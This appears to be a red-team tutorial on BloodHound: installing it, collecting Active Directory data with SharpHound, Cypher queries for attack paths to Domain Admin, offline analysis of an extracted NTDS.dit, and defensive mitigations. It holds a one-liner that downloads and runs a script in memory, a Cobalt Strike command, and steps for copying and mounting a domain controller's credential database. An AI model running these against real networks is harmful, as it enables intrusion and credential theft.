BloodHound turns Active Directory into a graph and then asks it the one question that matters on engagement: how do I get from where I am to Domain Admin? Instead of chaining LDAP queries by hand and keeping the relationships in your head, you let a graph database do the pathfinding.
This walks through what BloodHound is, the pieces it’s built from, how to collect data with SharpHound, and the queries
worth running first. There’s also a section on offline analysis against an NTDS.dit file for when you can’t touch the
live domain.
What is BloodHound?#
BloodHound , written by @_wald0 , @CptJesus , and @harmj0y , is an open-source tool that applies graph theory to Active Directory. It maps the relationships between users, computers, and groups, then finds the attack paths those relationships create, the ones you’d use to reach sensitive resources or escalate privileges.
Under the hood it collects data with LDAP queries, SMB session enumeration, and PowerShell remoting, then loads that into a Neo4j graph database. The BloodHound interface sits on top of Neo4j and draws the graph.
Why BloodHound matters#
Active Directory is the default for managing users, computers, and resources in most enterprises, and that reach is exactly what makes it hard to reason about. A domain admin’s real privilege isn’t the accounts they can see, it’s the accounts three hops away that a session, an ACL, or a nested group quietly connects them to. That’s the kind of path manual analysis misses.
BloodHound draws those paths so you don’t have to hold them in your head. For a red teamer it turns “somewhere in here there’s a route to DA” into a specific chain of nodes. For the blue team it’s the same graph read backward: the edges you didn’t know existed are the ones worth cutting.
Installing and setting up BloodHound#
Prerequisites#
Before installing BloodHound, ensure that you have the following prerequisites installed on your system:
- Windows 7/8/10 or Windows Server 2008 R2/2012/2016/2019 (for the BloodHound data collector)
- .NET Framework 4.5 or higher (Download )
- A recent version of Neo4j Community Edition (Download )
Installation#
To install BloodHound, follow the steps below:
- Download the latest release of BloodHound from the GitHub repository (https://github.com/BloodHoundAD/BloodHound/releases ).
- Extract the archive to a directory of your choice.
- Install Neo4j Community Edition from the official website (https://neo4j.com/download/ ).
- After installing Neo4j, configure it to use the BloodHound database by pointing the “dbms.active_database” setting in the “neo4j.conf” file to the “BloodHoundExampleDB.graphdb” directory included in the BloodHound release.
- Start the Neo4j service and open the Neo4j browser by navigating to
http://localhost:7474. - Set a new password for the “neo4j” user when prompted.
- Launch the BloodHound executable (BloodHound.exe) and enter the Neo4j connection details (username: “neo4j”, password: your chosen password, and URL: “bolt://localhost:7687”).
BloodHound components#
Three pieces do the work:
Data collector (SharpHound)#
SharpHound is the collector, a C# binary that replaced the earlier PowerShell collection path (the Invoke-BloodHound
wrapper you may remember loaded it via reflection). It enumerates the target domain and writes the results as JSON
files, which you then feed into Neo4j.
BloodHound web interface#
The interface is an Electron app that talks to Neo4j and draws the graph. You use it to browse the relationships between AD objects and run queries that surface attack paths.
Neo4j database#
Neo4j is the graph database underneath everything. It stores what SharpHound collected and answers the queries the interface sends it. Everything else is a front end for this.
Collecting data with SharpHound#
Invocation methods#
How you run SharpHound depends on where you are and how loud you can afford to be:
Run it directly on the target (from a USB drive or a file share, say).
Or pull it in and run it in memory with a PowerShell one-liner:
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1')Use a Cobalt Strike beacon to load and execute SharpHound:
execute-assembly /path/to/SharpHound.exe
Data collection techniques#
SharpHound pulls data through LDAP queries, SMB session enumeration, and PowerShell remoting. You pick what it collects
with --CollectionMethod. The supported methods:
- Default (LDAP queries for user, group, and computer objects)
- Group (enumerates group membership)
- LocalAdmin (enumerates local admin membership on computers)
- Session (enumerates SMB sessions)
- ACL (collects access control entries for AD objects)
- ObjectProps (collects various properties for AD objects)
- Trusts (enumerates domain trusts)
- Container (collects information about organizational units and containers)
- All (performs all collection methods)
That list isn’t exhaustive. SharpHound3 also carries RDP, DCOM, PSRemote, LoggedOn, DcOnly, and a few
others. Run SharpHound.exe --help for the full set on whatever build you’re carrying.
To collect data, execute SharpHound with the desired collection method:
SharpHound.exe --CollectionMethod AllThat drops JSON output files in the current working directory, ready for the BloodHound interface.
BloodHound web interface#
Navigating the interface#
Open BloodHound, log in with your Neo4j credentials, and you get a search bar up top, a graph canvas in the middle, and a node-info sidebar on the left. To load your SharpHound output, hit “Upload Data” in the top-right corner and select the JSON files.
Querying the data#
BloodHound ships with a set of built-in queries under the “Queries” tab. Pick one and the canvas redraws with the result: nodes are AD objects, edges are the relationships between them. When the built-ins don’t ask the exact question you have, write your own in Cypher, Neo4j’s query language, from the “Query” tab.
Common BloodHound queries#
Shortest path to Domain Admins#
The one you’ll reach for first. It returns the shortest path from a user you control to the “Domain Admins” group:
MATCH (n:User {name: 'username@domain.com'}), (m:Group {name: 'DOMAIN ADMINS@domain.com'}), p=shortestPath((n)-[*]->(m)) RETURN pUnconstrained delegation#
Computers with unconstrained delegation are worth finding early. Any of them can be coerced into caching a privileged user’s TGT, which you can then replay to impersonate that user:
MATCH (c:Computer {unconstraineddelegation:true}) RETURN cKerberoasting#
This query identifies users with a Service Principal Name (SPN) set and a weak password that can be cracked using the Kerberoasting attack:
MATCH (u:User) WHERE u.hasspn=true AND u.pwdlastset < (datetime().epochseconds - (90 * 24 * 60 * 60)) RETURN uOffline analysis with DSInternals and NTDS.dit#
Sometimes you walk away with a copy of NTDS.dit but never get to run a collector against the live domain. You can
still get BloodHound data out of it. The trick is to mount the database as a local LDAP server with dsamain.exe, then
point SharpHound at that. The DSInternals PowerShell module
, written
by Michael Grafnetter
, gives you the cmdlets for working with the database around the
edges of this.
Install DSInternals from the PowerShell Gallery:
Install-Module -Name DSInternalsGet an
NTDS.ditoff the target DC.ntdsutil(ntdsutil "ac i ntds" "ifm" "create full C:\out" q q) grabs a consistent snapshot; forensic tooling against a Volume Shadow Copy works too.Make sure the database is in a clean state before mounting. A file pulled from a running DC often has uncommitted transaction logs. If
dsamainrefuses to mount it, replay the logs withesentutl:esentutl /r edb /8Run that from the directory holding the log files.
edbis the log base name AD uses, and/8matches the 8 KB page size on a modern DC.Mount the
NTDS.ditwithdsamain.exe, exposing it on a spare LDAP port:dsamain /dbpath "C:\path\to\NTDS.dit" /ldapport 10389 /allowUpgrade /allowNonAdminAccessThere’s no flag that decrypts the database from a
SYSTEMhive here.dsamainreads whatever it’s handed and serves it over LDAP on port 10389; the database has to be consistent going in, which is what step 3 was for.Point SharpHound at the local server:
SharpHound.exe --CollectionMethod All --DomainController localhost --LdapPort 10389Import the JSON into BloodHound the same way you would live data.
Run your queries as normal.
One caveat worth setting up front: a dsamain-mounted database is a read-only LDAP snapshot. It has the objects, ACLs,
and group memberships, but it doesn’t have live session data (nobody’s logged on to a mounted file), so paths that
depend on Session edges won’t show up. Offline collection gives you the structure, not who’s sitting where.
Mitigation strategies#
If you’re on the other side of this, the same graph tells you where to cut. The edges BloodHound draws are the ones to go after:
- Review group memberships and ACLs and pull permissions nobody needs. Nested groups are where privilege quietly accumulates.
- Disable unconstrained delegation where you can, and constrain it where you can’t. It’s one of the fastest paths on the graph.
- Enforce strong service-account passwords and watch their age. A stale-password SPN is a Kerberoast waiting to happen.
- Keep high-privilege accounts off ordinary workstations. Every box a DA logs into becomes a shortcut to DA.
- Audit AD for the changes that show up as new edges: unexpected group additions, delegation flips, privilege escalations.
Closing thoughts#
BloodHound’s real value is that it makes attack paths legible. The relationships that let a low-privilege account walk its way to Domain Admin were always there; BloodHound just draws the line so you stop having to trace it by hand.
It’s not a scanner and it won’t tell you what to do with a path once it finds one. That part is still on you. But as a map of where the privilege actually flows in a domain, on either side of the engagement, there’s nothing quite like it.